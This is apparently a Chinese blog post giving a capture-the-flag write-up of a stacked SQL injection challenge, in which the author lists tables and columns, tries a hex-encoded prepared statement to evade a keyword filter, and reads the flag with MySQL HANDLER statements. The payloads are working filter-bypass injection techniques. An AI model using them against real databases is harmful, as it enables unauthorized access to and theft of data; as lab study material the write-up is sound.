glc666

导航

 

启动靶机

image

直接提交查看回显

image

尝试闭合堆叠注入执行sql语句
1';select database()

image

发现过滤select|update|delete|drop|insert|where|./i
/i表示包括大小写

使用 1';show tables; 来显示当前数据库有哪些表

image

使用 1';show columns from 1919810931114514; 来显示1919810931114514这个表中的所有列名

image

发现flag字段现在就需要读取flag字段的内容

1';select flag from 1919810931114514; 因为select被过滤了无法执行

可以使用 prepare execsql from @a.execute execsql 这个语句来执行变量@a中的内容

先将 select flag from 1919810931114514 做16进制转码变成
0X73656C65637420666C61672066726F6D20603139313938313039333131313435313460

然后可以声明一个@a符号,将转码后的内容赋值给@a
@a=0X73656C65637420666C61672066726F6D20603139313938313039333131313435313460

最后使用 1';Set @a=0X73656C65637420666C61672066726F6D20603139313938313039333131313435313460;prepare execsql from @a.execute execsql;

image

发现还是被过滤掉了
在尝试使用handler来代替select
1';handler 1919810931114514 open as ye;handler ye read first;handler ye close;

image

成功弹出flag

posted on 2026-01-14 16:51  glc666  阅读(0)  评论(0)    收藏  举报